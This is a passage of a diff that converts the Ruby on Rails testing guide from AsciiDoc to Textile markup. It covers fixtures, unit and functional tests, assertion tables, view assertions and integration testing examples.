tag is considered Ruby code. When this fixture is loaded, the +size+ attribute of the three records will be set to 20/50, 20/2, and 20-69 respectively. The +brightest_on+ attribute will also be evaluated and formatted by Rails to be compatible with the database.
-==== Fixtures in Action ====
+h5. Fixtures in Action
Rails by default automatically loads all fixtures from the 'test/fixtures' folder for your unit and functional test. Loading involves three steps:
- * Remove any existing data from the table corresponding to the fixture
- * Load the fixture data into the table
- * Dump the fixture data into a variable in case you want to access it directly
+* Remove any existing data from the table corresponding to the fixture
+* Load the fixture data into the table
+* Dump the fixture data into a variable in case you want to access it directly
-==== Hashes with Special Powers ====
+h5. Hashes with Special Powers
Fixtures are basically Hash objects. As mentioned in point #3 above, you can access the hash object directly because it is automatically setup as a local variable of the test case. For example:
-[source, ruby]
---------------------------------------------------------------
+<ruby>
# this will return the Hash for the fixture named david
users(:david)
# this will return the property for david called id
users(:david).id
---------------------------------------------------------------
+</ruby>
Fixtures can also transform themselves into the form of the original class. Thus, you can get at the methods only available to that class.
-[source, ruby]
---------------------------------------------------------------
+<ruby>
# using the find method, we grab the "real" david as a User
david = users(:david).find
# and now we have access to methods only available to a User class
email(david.girlfriend.email, david.location_tonight)
---------------------------------------------------------------
+</ruby>
-== Unit Testing your Models ==
+h3. Unit Testing your Models
In Rails, unit tests are what you write to test your models.
-For this guide we will be using Rails _scaffolding_. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practises. I will be using examples from this generated code and would be supplementing it with additional examples where necessary.
+For this guide we will be using Rails _scaffolding_. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practices. I will be using examples from this generated code and would be supplementing it with additional examples where necessary.
-NOTE: For more information on Rails _scaffolding_, refer to link:../getting_started_with_rails.html[Getting Started with Rails]
+NOTE: For more information on Rails _scaffolding_, refer to "Getting Started with Rails":getting_started.html
When you use +script/generate scaffold+, for a resource among other things it creates a test stub in the +test/unit+ folder:
--------------------------------------------------------
+<pre>
$ script/generate scaffold post title:string body:text
...
create app/models/post.rb
create test/unit/post_test.rb
create test/fixtures/posts.yml
...
--------------------------------------------------------
+</pre>
The default test stub in +test/unit/post_test.rb+ looks like this:
-[source,ruby]
---------------------------------------------------
+<ruby>
require 'test_helper'
class PostTest < ActiveSupport::TestCase
@@ -172,82 +166,73 @@ class PostTest < ActiveSupport::TestCase
assert true
end
end
---------------------------------------------------
+</ruby>
A line by line examination of this file will help get you oriented to Rails testing code and terminology.
-[source,ruby]
---------------------------------------------------
+<ruby>
require 'test_helper'
---------------------------------------------------
+</ruby>
-As you know by now that `test_helper.rb` specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests.
+As you know by now that +test_helper.rb+ specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests.
-[source,ruby]
---------------------------------------------------
+<ruby>
class PostTest < ActiveSupport::TestCase
---------------------------------------------------
+</ruby>
The +PostTest+ class defines a _test case_ because it inherits from +ActiveSupport::TestCase+. +PostTest+ thus has all the methods available from +ActiveSupport::TestCase+. You'll see those methods a little later in this guide.
-[source,ruby]
---------------------------------------------------
+<ruby>
def test_truth
---------------------------------------------------
+</ruby>
-Any method defined within a test case that begins with +test+ (case sensitive) is simply called a test. So, +test_password+, +test_valid_password+ and +testValidPassword+ all are legal test names and are run automatically when the test case is run.
+Any method defined within a test case that begins with +test+ (case sensitive) is simply called a test. So, +test_password+, +test_valid_password+ and +testValidPassword+ all are legal test names and are run automatically when the test case is run.
-[source,ruby]
---------------------------------------------------
+<ruby>
assert true
---------------------------------------------------
+</ruby>
This line of code is called an _assertion_. An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check:
-* is this value = that value?
-* is this object nil?
-* does this line of code throw an exception?
-* is the user's password greater than 5 characters?
+* is this value = that value?
+* is this object nil?
+* does this line of code throw an exception?
+* is the user's password greater than 5 characters?
Every test contains one or more assertions. Only when all the assertions are successful the test passes.
-=== Preparing you Application for Testing ===
+h4. Preparing your Application for Testing
Before you can run your tests you need to ensure that the test database structure is current. For this you can use the following rake commands:
-[source, shell]
--------------------------------------------------------
+<shell>
$ rake db:migrate
...
$ rake db:test:load
--------------------------------------------------------
+</shell>
Above +rake db:migrate+ runs any pending migrations on the _developemnt_ environment and updates +db/schema.rb+. +rake db:test:load+ recreates the test database from the current db/schema.rb. On subsequent attempts it is a good to first run +db:test:prepare+ as it first checks for pending migrations and warns you appropriately.
NOTE: +db:test:prepare+ will fail with an error if db/schema.rb doesn't exists.
-==== Rake Tasks for Preparing your Application for Testing ====
+h5. Rake Tasks for Preparing your Application for Testing
-[options="header"]
-|==========================================================================================================
-|Tasks |Description
-|+rake db:test:clone+ |Recreate the test database from the current environment's database schema
-|+rake db:test:clone_structure+ |Recreate the test databases from the development structure
-|+rake db:test:load+ |Recreate the test database from the current +schema.rb+
-|+rake db:test:prepare+ |Check for pending migrations and load the test schema
-|+rake db:test:purge+ |Empty the test database.
-|==========================================================================================================
+|_.Tasks |_.Description|
+|+rake db:test:clone+ |Recreate the test database from the current environment's database schema|
+|+rake db:test:clone_structure+ |Recreate the test databases from the development structure|
+|+rake db:test:load+ |Recreate the test database from the current +schema.rb+|
+|+rake db:test:prepare+ |Check for pending migrations and load the test schema|
+|+rake db:test:purge+ |Empty the test database.|
-TIP: You can see all these rake tasks and their descriptions by running +rake \-\-tasks \-\-describe+
+TIP: You can see all these rake tasks and their descriptions by running +rake --tasks --describe+
-=== Running Tests ===
+h4. Running Tests
Running a test is as simple as invoking the file containing the test cases through Ruby:
-[source, shell]
--------------------------------------------------------
+<shell>
$ cd test
-$ ruby unit/post_test.rb
+$ ruby unit/post_test.rb
Loaded suite unit/post_test
Started
@@ -255,13 +240,13 @@ Started
Finished in 0.023513 seconds.
1 tests, 1 assertions, 0 failures, 0 errors
--------------------------------------------------------
+</shell>
This will run all the test methods from the test case.
You can also run a particular test method from the test case by using the +-n+ switch with the +test method name+.
--------------------------------------------------------
+<pre>
$ ruby unit/post_test.rb -n test_truth
Loaded suite unit/post_test
@@ -270,23 +255,22 @@ Started
Finished in 0.023513 seconds.
1 tests, 1 assertions, 0 failures, 0 errors
--------------------------------------------------------
+</pre>
-The +.+ (dot) above indicates a passing test. When a test fails you see an +F+; when a test throws an error you see an +E+ in its place. The last line of the output is the summary.
+The +.+ (dot) above indicates a passing test. When a test fails you see an +F+; when a test throws an error you see an +E+ in its place. The last line of the output is the summary.
To see how a test failure is reported, you can add a failing test to the +post_test.rb+ test case.
-[source,ruby]
---------------------------------------------------
+<ruby>
def test_should_not_save_post_without_title
post = Post.new
assert !post.save
end
---------------------------------------------------
+</ruby>
Let us run this newly added test.
--------------------------------------------------------
+<pre>
$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
Loaded suite unit/post_test
Started
@@ -301,21 +285,20 @@ test_should_not_save_post_without_title(PostTest)
<false> is not true.
1 tests, 1 assertions, 1 failures, 0 errors
--------------------------------------------------------
+</pre>
In the output, +F+ denotes a failure. You can see the corresponding trace shown under +1)+ along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable every assertion provides an optional message parameter, as shown here:
-[source,ruby]
---------------------------------------------------
+<ruby>
def test_should_not_save_post_without_title
post = Post.new
assert !post.save, "Saved the post without a title"
end
---------------------------------------------------
+</ruby>
Running this test shows the friendlier assertion message:
--------------------------------------------------------
+<pre>
$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
Loaded suite unit/post_test
Started
@@ -331,20 +314,19 @@ Saved the post without a title.
<false> is not true.
1 tests, 1 assertions, 1 failures, 0 errors
--------------------------------------------------------
+</pre>
Now to get this test to pass we can add a model level validation for the _title_ field.
-[source,ruby]
---------------------------------------------------
+<ruby>
class Post < ActiveRecord::Base
validates_presence_of :title
end
---------------------------------------------------
+</ruby>
Now the test should pass. Let us verify by running the test again:
--------------------------------------------------------
+<pre>
$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
Loaded suite unit/post_test
Started
@@ -352,26 +334,25 @@ Started
Finished in 0.193608 seconds.
1 tests, 1 assertions, 0 failures, 0 errors
--------------------------------------------------------
+</pre>
-Now if you noticed we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as _Test-Driven Development_ (TDD).
+Now if you noticed we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as _Test-Driven Development_ (TDD).
-TIP: Many Rails developers practice _Test-Driven Development_ (TDD). This is an excellent way to build up a test suite that exercises every part of your application. TDD is beyond the scope of this guide, but one place to start is with link:http://andrzejonsoftware.blogspot.com/2007/05/15-tdd-steps-to-create-rails.html[15 TDD steps to create a Rails application].
+TIP: Many Rails developers practice _Test-Driven Development_ (TDD). This is an excellent way to build up a test suite that exercises every part of your application. TDD is beyond the scope of this guide, but one place to start is with "15 TDD steps to create a Rails application":http://andrzejonsoftware.blogspot.com/2007/05/15-tdd-steps-to-create-rails.html.
To see how an error gets reported, here's a test containing an error:
-[source,ruby]
---------------------------------------------------
+<ruby>
def test_should_report_error
# some_undefined_variable is not defined elsewhere in the test case
some_undefined_variable
assert true
end
---------------------------------------------------
+</ruby>
Now you can see even more output in the console from running the tests:
--------------------------------------------------------
+<pre>
$ ruby unit/post_test.rb -n test_should_report_error
Loaded suite unit/post_test
Started
@@ -387,125 +368,115 @@ NameError: undefined local variable or method `some_undefined_variable' for #<Po
/opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run'
1 tests, 0 assertions, 0 failures, 1 errors
--------------------------------------------------------
+</pre>
-Notice the 'E' in the output. It denotes a test with error.
+Notice the 'E' in the output. It denotes a test with error.
NOTE: The execution of each test method stops as soon as any error or a assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in alphabetical order.
-=== What to Include in Your Unit Tests ===
+h4. What to Include in Your Unit Tests
Ideally you would like to include a test for everything which could possibly break. It's a good practice to have at least one test for each of your validations and at least one test for every method in your model.
-=== Assertions Available ===
+h4. Assertions Available
By now you've caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned.
There are a bunch of different types of assertions you can use. Here's the complete list of assertions that ship with +test/unit+, the testing library used by Rails. The +[msg]+ parameter is an optional string message you can specify to make your test failure messages clearer. It's not required.
-[options="header"]
-|==========================================================================================================================================
-|Assertion |Purpose
-|+assert( boolean, [msg] )+ |Ensures that the object/expression is true.
-|+assert_equal( obj1, obj2, [msg] )+ |Ensures that +obj1 == obj2+ is true.
-|+assert_not_equal( obj1, obj2, [msg] )+ |Ensures that +obj1 == obj2+ is false.
-|+assert_same( obj1, obj2, [msg] )+ |Ensures that +obj1.equal?(obj2)+ is true.
-|+assert_not_same( obj1, obj2, [msg] )+ |Ensures that +obj1.equal?(obj2)+ is false.
-|+assert_nil( obj, [msg] )+ |Ensures that +obj.nil?+ is true.
-|+assert_not_nil( obj, [msg] )+ |Ensures that +obj.nil?+ is false.
-|+assert_match( regexp, string, [msg] )+ |Ensures that a string matches the regular expression.
-|+assert_no_match( regexp, string, [msg] )+ |Ensures that a string doesn't matches the regular expression.
-|+assert_in_delta( expecting, actual, delta, [msg] )+ |Ensures that the numbers `expecting` and `actual` are within `delta` of each other.
-|+assert_throws( symbol, [msg] ) { block }+ |Ensures that the given block throws the symbol.
-|+assert_raises( exception1, exception2, ... ) { block }+ |Ensures that the given block raises one of the given exceptions.
-|+assert_nothing_raised( exception1, exception2, ... ) { block }+ |Ensures that the given block doesn't raise one of the given exceptions.
-|+assert_instance_of( class, obj, [msg] )+ |Ensures that +obj+ is of the +class+ type.
-|+assert_kind_of( class, obj, [msg] )+ |Ensures that +obj+ is or descends from +class+.
-|+assert_respond_to( obj, symbol, [msg] )+ |Ensures that +obj+ has a method called +symbol+.
-|+assert_operator( obj1, operator, obj2, [msg] )+ |Ensures that +obj1.operator(obj2)+ is true.
-|+assert_send( array, [msg] )+ |Ensures that executing the method listed in +array[1]+ on the object in +array[0]+ with the parameters of +array[2 and up]+ is true. This one is weird eh?
-|+flunk( [msg] )+ |Ensures failure. This is useful to explicitly mark a test that isn't finished yet.
-|=========================================================================================================================================
+|_.Assertion |_.Purpose|
+|+assert( boolean, [msg] )+ |Ensures that the object/expression is true.|
+|+assert_equal( obj1, obj2, [msg] )+ |Ensures that +obj1 == obj2+ is true.|
+|+assert_not_equal( obj1, obj2, [msg] )+ |Ensures that +obj1 == obj2+ is false.|
+|+assert_same( obj1, obj2, [msg] )+ |Ensures that +obj1.equal?(obj2)+ is true.|
+|+assert_not_same( obj1, obj2, [msg] )+ |Ensures that +obj1.equal?(obj2)+ is false.|
+|+assert_nil( obj, [msg] )+ |Ensures that +obj.nil?+ is true.|
+|+assert_not_nil( obj, [msg] )+ |Ensures that +obj.nil?+ is false.|
+|+assert_match( regexp, string, [msg] )+ |Ensures that a string matches the regular expression.|
+|+assert_no_match( regexp, string, [msg] )+ |Ensures that a string doesn't matches the regular expression.|
+|+assert_in_delta( expecting, actual, delta, [msg] )+ |Ensures that the numbers +expecting+ and +actual+ are within +delta+ of each other.|
+|+assert_throws( symbol, [msg] ) { block }+ |Ensures that the given block throws the symbol.|
+|+assert_raise( exception1, exception2, ... ) { block }+ |Ensures that the given block raises one of the given exceptions.|
+|+assert_nothing_raised( exception1, exception2, ... ) { block }+ |Ensures that the given block doesn't raise one of the given exceptions.|
+|+assert_instance_of( class, obj, [msg] )+ |Ensures that +obj+ is of the +class+ type.|
+|+assert_kind_of( class, obj, [msg] )+ |Ensures that +obj+ is or descends from +class+.|
+|+assert_respond_to( obj, symbol, [msg] )+ |Ensures that +obj+ has a method called +symbol+.|
+|+assert_operator( obj1, operator, obj2, [msg] )+ |Ensures that +obj1.operator(obj2)+ is true.|
+|+assert_send( array, [msg] )+ |Ensures that executing the method listed in +array[1]+ on the object in +array[0]+ with the parameters of +array[2 and up]+ is true. This one is weird eh?|
+|+flunk( [msg] )+ |Ensures failure. This is useful to explicitly mark a test that isn't finished yet.|
Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier.
NOTE: Creating your own assertions is an advanced topic that we won't cover in this tutorial.
-=== Rails Specific Assertions ===
+h4. Rails Specific Assertions
Rails adds some custom assertions of its own to the +test/unit+ framework:
-[options="header"]
-|===========================================================================================================================================================
-|Assertion |Purpose
-|+assert_valid(record)+ |Ensures that the passed record is valid by Active Record standards and returns any error messages if it is not.
-|+assert_difference(expressions, difference = 1, message = nil) {...}+ |Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.
-|+assert_no_difference(expressions, message = nil, &block)+ |Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.
-|+assert_recognizes(expected_options, path, extras={}, message=nil)+ |Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.
-|+assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)+ |Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.
-|+assert_response(type, message = nil)+ |Asserts that the response comes with a specific status code. You can specify +:success+ to indicate 200, +:redirect+ to indicate 300-399, +:missing+ to indicate 404, or +:error+ to match the 500-599 range
-|+assert_redirected_to(options = {}, message=nil)+ |Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that +assert_redirected_to(:controller => "weblog")+ will also match the redirection of +redirect_to(:controller => "weblog", :action => "show")+ and so on.
-|+assert_template(expected = nil, message=nil)+ |Asserts that the request was rendered with the appropriate template file.
-|===========================================================================================================================================================
+|_.Assertion |_.Purpose|
+|+assert_valid(record)+ |Ensures that the passed record is valid by Active Record standards and returns any error messages if it is not.|
+|+assert_difference(expressions, difference = 1, message = nil) {...}+ |Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.|
+|+assert_no_difference(expressions, message = nil, &block)+ |Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.|
+|+assert_recognizes(expected_options, path, extras={}, message=nil)+ |Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.|
+|+assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)+ |Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.|
+|+assert_response(type, message = nil)+ |Asserts that the response comes with a specific status code. You can specify +:success+ to indicate 200, +:redirect+ to indicate 300-399, +:missing+ to indicate 404, or +:error+ to match the 500-599 range|
+|+assert_redirected_to(options = {}, message=nil)+ |Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that +assert_redirected_to(:controller => "weblog")+ will also match the redirection of +redirect_to(:controller => "weblog", :action => "show")+ and so on.|
+|+assert_template(expected = nil, message=nil)+ |Asserts that the request was rendered with the appropriate template file.|
You'll see the usage of some of these assertions in the next chapter.
-== Functional Tests for Your Controllers ==
+h3. Functional Tests for Your Controllers
-In Rails, testing the various actions of a single controller is called writing functional tests for that controller. Controllers handle the incoming web requests to your application and eventually respond with a rendered view.
+In Rails, testing the various actions of a single controller is called writing functional tests for that controller. Controllers handle the incoming web requests to your application and eventually respond with a rendered view.
-=== What to include in your Functional Tests ===
+h4. What to Include in your Functional Tests
You should test for things such as:
- * was the web request successful?
- * was the user redirected to the right page?
- * was the user successfully authenticated?
- * was the correct object stored in the response template?
- * was the appropriate message displayed to the user in the view
+* was the web request successful?
+* was the user redirected to the right page?
+* was the user successfully authenticated?
+* was the correct object stored in the response template?
+* was the appropriate message displayed to the user in the view
Now that we have used Rails scaffold generator for our +Post+ resource, it has already created the controller code and functional tests. You can take look at the file +posts_controller_test.rb+ in the +test/functional+ directory.
Let me take you through one such test, +test_should_get_index+ from the file +posts_controller_test.rb+.
-[source,ruby]
---------------------------------------------------
+<ruby>
def test_should_get_index
get :index
assert_response :success
assert_not_nil assigns(:posts)
end
---------------------------------------------------
+</ruby>
-In the +test_should_get_index+ test, Rails simulates a request on the action called index, making sure the request was successful and also ensuring that it assigns a valid +posts+ instance variable.
+In the +test_should_get_index+ test, Rails simulates a request on the action called index, making sure the request was successful and also ensuring that it assigns a valid +posts+ instance variable.
The +get+ method kicks off the web request and populates the results into the response. It accepts 4 arguments:
-* The action of the controller you are requesting. This can be in the form of a string or a symbol.
+* The action of the controller you are requesting. This can be in the form of a string or a symbol.
* An optional hash of request parameters to pass into the action (eg. query string parameters or post variables).
* An optional hash of session variables to pass along with the request.
* An optional hash of flash values.
Example: Calling the +:show+ action, passing an +id+ of 12 as the +params+ and setting a +user_id+ of 5 in the session:
-[source,ruby]
---------------------------------------------------
+<ruby>
get(:show, {'id' => "12"}, {'user_id' => 5})
---------------------------------------------------
+</ruby>
Another example: Calling the +:view+ action, passing an +id+ of 12 as the +params+, this time with no session, but with a flash message.
-[source,ruby]
---------------------------------------------------
+<ruby>
get(:view, {'id' => '12'}, nil, {'message' => 'booya!'})
---------------------------------------------------
+</ruby>
NOTE: If you try running +test_should_create_post+ test from +posts_controller_test.rb+ it will fail on account of the newly added model level validation and rightly so.
Let us modify +test_should_create_post+ test in +posts_controller_test.rb+ so that all our test pass:
-[source,ruby]
---------------------------------------------------
+<ruby>
def test_should_create_post
assert_difference('Post.count') do
post :create, :post => { :title => 'Some title'}
@@ -513,11 +484,11 @@ def test_should_create_post
assert_redirected_to post_path(assigns(:post))
end
---------------------------------------------------
+</ruby>
Now you can try running all the tests and they should pass.
-=== Available Request Types for Functional Tests ===
+h4. Available Request Types for Functional Tests
If you're familiar with the HTTP protocol, you'll know that +get+ is a type of request. There are 5 request types supported in Rails functional tests:
@@ -529,7 +500,7 @@ If you're familiar with the HTTP protocol, you'll know that +get+ is a type of r
All of request types are methods that you can use, however, you'll probably end up using the first two more often than the others.
-=== The 4 Hashes of the Apocalypse ===
+h4. The Four Hashes of the Apocalypse
After a request has been made by using one of the 5 methods (+get+, +post+, etc.) and processed, you will have 4 Hash objects ready for use:
@@ -540,17 +511,16 @@ After a request has been made by using one of the 5 methods (+get+, +post+, etc.
As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name, except for +assigns+. For example:
-[source,ruby]
---------------------------------------------------
+<ruby>
flash["gordon"] flash[:gordon]
session["shmession"] session[:shmession]
cookies["are_good_for_u"] cookies[:are_good_for_u]
# Because you can't use assigns[:something] for historical reasons:
assigns["something"] assigns(:something)
---------------------------------------------------
+</ruby>
-=== Instance Variables Available ===
+h4. Instance Variables Available
You also have access to three instance variables in your functional tests:
@@ -558,12 +528,11 @@ You also have access to three instance variables in your functional tests:
* +@request+ - The request
* +@response+ - The response
-=== A Fuller Functional Test Example
+h4. A Fuller Functional Test Example
Here's another example that uses +flash+, +assert_redirected_to+, and +assert_difference+:
-[source,ruby]
---------------------------------------------------
+<ruby>
def test_should_create_post
assert_difference('Post.count') do
post :create, :post => { :title => 'Hi', :body => 'This is my first post.'}
@@ -571,9 +540,9 @@ def test_should_create_post
assert_redirected_to post_path(assigns(:post))
assert_equal 'Post was successfully created.', flash[:notice]
end
---------------------------------------------------
+</ruby>
-=== Testing Views ===
+h4. Testing Views
Testing the response to your request by asserting the presence of key HTML elements and their content is a useful way to test the views of your application. The +assert_select+ assertion allows you to do this by using a simple yet powerful syntax.
@@ -581,30 +550,27 @@ NOTE: You may find references to +assert_tag+ in other documentation, but this i
There are two forms of +assert_select+:
-+assert_select(selector, [equality], [message])`+ ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String), an expression with substitution values, or an +HTML::Selector+ object.
++assert_select(selector, [equality], [message])+ ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String), an expression with substitution values, or an +HTML::Selector+ object.
+assert_select(element, selector, [equality], [message])+ ensures that the equality condition is met on all the selected elements through the selector starting from the _element_ (instance of +HTML::Node+) and its descendants.
For example, you could verify the contents on the title element in your response with:
-[source,ruby]
---------------------------------------------------
+<ruby>
assert_select 'title', "Welcome to Rails Testing Guide"
---------------------------------------------------
+</ruby>
-You can also use nested +assert_select+ blocks. In this case the inner +assert_select+ runs the assertion on the complete collection of elements selected by the outer `assert_select` block:
+You can also use nested +assert_select+ blocks. In this case the inner +assert_select+ runs the assertion on the complete collection of elements selected by the outer +assert_select+ block:
-[source,ruby]
---------------------------------------------------
+<ruby>
assert_select 'ul.navigation' do
assert_select 'li.menu_item'
end
---------------------------------------------------
+</ruby>
Alternatively the collection of elements selected by the outer +assert_select+ may be iterated through so that +assert_select+ may be called separately for each element. Suppose for example that the response contains two ordered lists, each with four list elements then the following tests will both pass.
-[source,ruby]
---------------------------------------------------
+<ruby>
assert_select "ol" do |elements|
elements.each do |element|
assert_select element, "li", 4
@@ -614,49 +580,43 @@ end
assert_select "ol" do
assert_select "li", 8
end
---------------------------------------------------
+</ruby>
-The +assert_select+ assertion is quite powerful. For more advanced usage, refer to its link:http://api.rubyonrails.com/classes/ActionController/Assertions/SelectorAssertions.html[documentation].
+The +assert_select+ assertion is quite powerful. For more advanced usage, refer to its "documentation":http://api.rubyonrails.org/classes/ActionController/Assertions/SelectorAssertions.html.
-==== Additional View-based Assertions ====
+h5. Additional View-Based Assertions
There are more assertions that are primarily used in testing views:
-[options="header"]
-|=========================================================================================================================================
-|Assertion |Purpose
-|+assert_select_email+ |Allows you to make assertions on the body of an e-mail.
-|+assert_select_rjs+ |Allows you to make assertions on RJS response. +assert_select_rjs+ has variants which allow you to narrow down on the updated element or even a particular operation on an element.
-|+assert_select_encoded+ |Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.
-|+css_select(selector)+ or +css_select(element, selector)+ |Returns an array of all the elements selected by the _selector_. In the second variant it first matches the base _element_ and tries to match the _selector_ expression on any of its children. If there are no matches both variants return an empty array.
-|=========================================================================================================================================
+|_.Assertion |_.Purpose|
+|+assert_select_email+ |Allows you to make assertions on the body of an e-mail. |
+|+assert_select_rjs+ |Allows you to make assertions on RJS response. +assert_select_rjs+ has variants which allow you to narrow down on the updated element or even a particular operation on an element.|
+|+assert_select_encoded+ |Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.|
+|+css_select(selector)+ or +css_select(element, selector)+ |Returns an array of all the elements selected by the _selector_. In the second variant it first matches the base _element_ and tries to match the _selector_ expression on any of its children. If there are no matches both variants return an empty array.|
Here's an example of using +assert_select_email+:
-[source,ruby]
---------------------------------------------------
+<ruby>
assert_select_email do
assert_select 'small', 'Please click the "Unsubscribe" link if you want to opt-out.'
end
---------------------------------------------------
+</ruby>
-== Integration Testing ==
+h3. Integration Testing
-Integration tests are used to test the interaction among any number of controllers. They are generally used to test important work flows within your application.
+Integration tests are used to test the interaction among any number of controllers. They are generally used to test important work flows within your application.
-Unlike Unit and Functional tests, integration tests have to be explicitly created under the 'test/integration' folder within your application. Rails provides a generator to create an integration test skeleton for you.
+Unlike Unit and Functional tests, integration tests have to be explicitly created under the 'test/integration' folder within your application. Rails provides a generator to create an integration test skeleton for you.
-[source, shell]
---------------------------------------------------
-$ script/generate integration_test user_flows
+<shell>
+$ script/generate integration_test user_flows
exists test/integration/
create test/integration/user_flows_test.rb
---------------------------------------------------
+</shell>
Here's what a freshly-generated integration test looks like:
-[source,ruby]
---------------------------------------------------
+<ruby>
require 'test_helper'
class UserFlowsTest < ActionController::IntegrationTest
@@ -667,36 +627,32 @@ class UserFlowsTest < ActionController::IntegrationTest
assert true
end
end
---------------------------------------------------
+</ruby>
-Integration tests inherit from +ActionController::IntegrationTest+. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test.
+Integration tests inherit from +ActionController::IntegrationTest+. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test.
-=== Helpers Available for Integration tests ===
+h4. Helpers Available for Integration Tests
In addition to the standard testing helpers, there are some additional helpers available to integration tests:
-[options="header"]
-|=========================================================================================================================================
-|Helper |Purpose
-|+https?+ |Returns +true+ if the session is mimicking a secure HTTPS request.
-|+https!+ |Allows you to mimic a secure HTTPS request.
-|+host!+ |Allows you to set the host name to use in the next request.
-|+redirect?+ |Returns +true+ if the last request was a redirect.
-|+follow_redirect!+ |Follows a single redirect response.
-|+request_via_redirect(http_method, path, [parameters], [headers])+ |Allows you to make an HTTP request and follow any subsequent redirects.
-|+post_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP POST request and follow any subsequent redirects.
-|+get_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP GET request and follow any subsequent redirects.
-|+put_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP PUT request and follow any subsequent redirects.
-|+delete_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP DELETE request and follow any subsequent redirects.
-|+open_session+ |Opens a new session instance.
-|=========================================================================================================================================
-
-=== Integration Testing Examples ===
+|_.Helper |_.Purpose|
+|+https?+ |Returns +true+ if the session is mimicking a secure HTTPS request.|
+|+https!+ |Allows you to mimic a secure HTTPS request.|
+|+host!+ |Allows you to set the host name to use in the next request.|
+|+redirect?+ |Returns +true+ if the last request was a redirect.|
+|+follow_redirect!+ |Follows a single redirect response.|
+|+request_via_redirect(http_method, path, [parameters], [headers])+ |Allows you to make an HTTP request and follow any subsequent redirects.|
+|+post_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP POST request and follow any subsequent redirects.|
+|+get_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP GET request and follow any subsequent redirects.|
+|+put_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP PUT request and follow any subsequent redirects.|
+|+delete_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP DELETE request and follow any subsequent redirects.|
+|+open_session+ |Opens a new session instance.|
+
+h4. Integration Testing Examples
A simple integration test that exercises multiple controllers:
-[source,ruby]
---------------------------------------------------
+<ruby>
require 'test_helper'
class UserFlowsTest < ActionController::IntegrationTest
@@ -707,51 +663,50 @@ class UserFlowsTest < ActionController::IntegrationTest
https!
get "/login"
assert_response :success
-
+
post_via_redirect "/login", :username => users(:avs).username, :password => users(:avs).password
assert_equal '/welcome', path
assert_equal 'Welcome avs!', flash[:notice]
-
+
https!(false)
get "/posts/all"
assert_response :success
assert assigns(:products)
end
end
---------------------------------------------------
+</ruby>
As you can see the integration test involves multiple controllers and exercises the entire stack from database to dispatcher. In addition you can have multiple session instances open simultaneously in a test and extend those instances with assertion methods to create a very powerful testing DSL (domain-specific language) just for your application.
Here's an example of multiple sessions and custom DSL in an integration test
-[source,ruby]
---------------------------------------------------
+<ruby>
require 'test_helper'
class UserFlowsTest < ActionController::IntegrationTest
fixtures :users
def test_login_and_browse_site
-
+
# User avs logs in
avs = login(:avs)
# User guest logs in
guest = login(:guest)
-
+
# Both are now available in different sessions
assert_equal 'Welcome avs!', avs.flash[:notice]
assert_equal 'Welcome guest!', guest.flash[:notice]
-
+
# User avs can browse site
avs.browses_site
# User guest can browse site aswell
guest.browses_site
-
+
# Continue with other assertions
end
-
+
private
-
+
module CustomDsl
def browses_site
get "/products/all"
@@ -759,7 +714,7 @@ class UserFlowsTest < ActionController::IntegrationTest
assert assigns(:products)
end
end
-
+
def login(user)
open_session do |sess|
sess.extend(CustomDsl)
@@ -771,37 +726,32 @@ class UserFlowsTest < ActionController::IntegrationTest
end
end
end
---------------------------------------------------
+</ruby>
-== Rake Tasks for Running your Tests ==
